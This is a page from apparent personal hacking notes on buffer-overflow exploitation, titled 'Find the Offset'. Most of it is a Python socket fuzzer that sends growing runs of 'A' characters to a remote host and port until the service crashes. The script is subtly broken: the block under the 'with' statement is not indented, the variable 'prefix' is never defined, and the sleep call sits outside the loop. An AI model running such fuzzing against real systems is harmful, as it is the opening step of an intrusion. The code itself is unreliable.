> For the complete documentation index, see [llms.txt](https://f1rstbyt3.gitbook.io/hacking-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://f1rstbyt3.gitbook.io/hacking-notes/misc/buffer-overflow/exploiting-bufferoverflow/find-the-offset.md).

# Find the Offset

Send socket request- increase offset by 100:

```python
import socket, struct,sys,time

rhost = 'ip'
rport = port
string = "A"*100
print(f'Fuzzing \"{string}\"')
timeout = 5 
while True:
	try:
		with socket.socket(socket.AF_INET,socket.SOCK_STREAM) as s:
		s.settimeout(timeout)
		s.connect((rhost,rport))
		s.recv(1024)
		print(f'fuzzing: {len(string)}')
		s.send(bytes(string, "latin-1"))
		s.recv(1024)
	except Exception as e:
		print(f'fuzzing failed, offset: {len(string)-len(prefix)}')
		print(e)
		exit(0)

	string +="A"*100
time.sleep(1)

```
